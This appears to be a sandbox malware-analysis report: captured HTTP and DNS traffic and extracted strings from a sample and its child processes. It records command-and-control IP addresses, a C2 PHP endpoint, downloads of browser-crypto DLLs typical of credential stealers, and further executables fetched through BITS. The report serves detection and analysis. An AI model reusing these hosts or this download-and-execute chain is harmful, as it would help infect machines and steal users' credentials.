Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/1784263691/tvtC9D3.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /UnRAR.exe HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Fri, 22 Nov 2024 15:22:09 GMTRange: bytes=0-1119User-Agent: Microsoft BITS/7.8Host: 194.15.46.189
Source: global traffic	HTTP traffic detected: GET /files/6015073251/uxN4wDZ.exe HTTP/1.1Host: 31.41.244.11

Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log9.13.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log9.13.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log9.13.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4831Host: login.live.com

Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2679757495.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2677567170.00000000005C7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2679757495.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2679757495.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2679757495.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2679757495.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2679757495.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllTE
Source: file.exe, 00000000.00000002.2679757495.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2679757495.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllqHW
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2679757495.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll:J
Source: file.exe, 00000000.00000002.2679757495.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dlltJR
Source: file.exe, 00000000.00000002.2679757495.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2679757495.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll:H
Source: file.exe, 00000000.00000002.2679757495.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2679757495.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllBE
Source: file.exe, 00000000.00000002.2679757495.0000000000FB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2679757495.0000000000FB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2709780978.0000000023703000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php4%
Source: file.exe, 00000000.00000002.2677567170.00000000005C7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpIEBKEG.exeata;
Source: file.exe, 00000000.00000002.2679757495.0000000000FB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpP
Source: file.exe, 00000000.00000002.2679757495.0000000000FB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpb
Source: file.exe, 00000000.00000002.2679757495.0000000000FB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.2679757495.0000000000FB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpsoft
Source: file.exe, 00000000.00000002.2679757495.0000000000FB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpx
Source: file.exe, 00000000.00000002.2677567170.00000000005C7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: skotes.exe, 0000001C.00000002.3422980977.0000000001599000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001C.00000002.3422980977.000000000152B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpT
Source: bitsadmin.exe, 00000021.00000002.3421747870.0000000002F30000.00000004.00000020.00020000.00000000.sdmp, bitsadmin.exe, 00000021.00000002.3420899153.0000000000AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.15.46.189/UnRAR.exe
Source: bitsadmin.exe, 00000021.00000002.3421747870.0000000002F37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.15.46.189/UnRAR.exeC:
Source: tvtC9D3.exe, 0000001E.00000002.3422195522.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.15.46.189/letgrtsC1.rar
Source: skotes.exe, 0000001C.00000002.3422980977.000000000152B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.3422980977.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1784263691/tvtC9D3.exe
Source: skotes.exe, 0000001C.00000002.3422980977.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1784263691/tvtC9D3.exe%
Source: skotes.exe, 0000001C.00000002.3422980977.000000000152B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1784263691/tvtC9D3.exeshqos.dll
Source: skotes.exe, 0000001C.00000002.3422980977.00000000015D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6015073251/uxN4wDZ.ex
Source: skotes.exe, 0000001C.00000002.3422980977.0000000001599000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6015073251/uxN4wDZ.exe
Source: skotes.exe, 0000001C.00000002.3422980977.0000000001599000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6015073251/uxN4wDZ.exeS
Source: skotes.exe, 0000001C.00000002.3422980977.0000000001599000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6015073251/uxN4wDZ.exeXYZ0123456789
Source: skotes.exe, 0000001C.00000002.3422980977.0000000001599000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6015073251/uxN4wDZ.exeo)
Source: skotes.exe, 0000001C.00000002.3422980977.0000000001599000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6015073251/uxN4wDZ.exepes.dll9;
Source: skotes.exe, 0000001C.00000002.3422980977.0000000001599000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6015073251/uxN4wDZ.exews.storage.dlll
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: skotes.exe, 0000001C.00000002.3422980977.0000000001599000.00000004.00000020.00020000.00000000.sdmp, tvtC9D3.exe, 0000001E.00000000.3383324374.000000000040A000.00000008.00000001.01000000.0000000F.sdmp, tvtC9D3.exe, 0000001E.00000002.3420942931.000000000040A000.00000004.00000001.01000000.0000000F.sdmp, tvtC9D3[1].exe.28.dr, tvtC9D3.exe.28.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_528.7.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2706651300.000000001D6D5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2713714288.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: AEGHCFID.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_528.7.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: c6bec959-c5a2-4426-b4a6-988c764e3531.tmp.14.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2709780978.0000000023703000.00000004.00000020.00020000.00000000.sdmp, CGIDHIIJKEBGHJJKFIDA.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2709780978.0000000023703000.00000004.00000020.00020000.00000000.sdmp, CGIDHIIJKEBGHJJKFIDA.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.14.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://c.msn.com/
Source: AEGHCFID.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2457581164.00000000236AE000.00000004.00000020.00020000.00000000.sdmp, AEGHCFID.0.dr, EHIJDHCA.0.dr, Web Data.13.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2457581164.00000000236AE000.00000004.00000020.00020000.00000000.sdmp, AEGHCFID.0.dr, EHIJDHCA.0.dr, Web Data.13.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.13.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.13.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: c6bec959-c5a2-4426-b4a6-988c764e3531.tmp.14.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.13.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
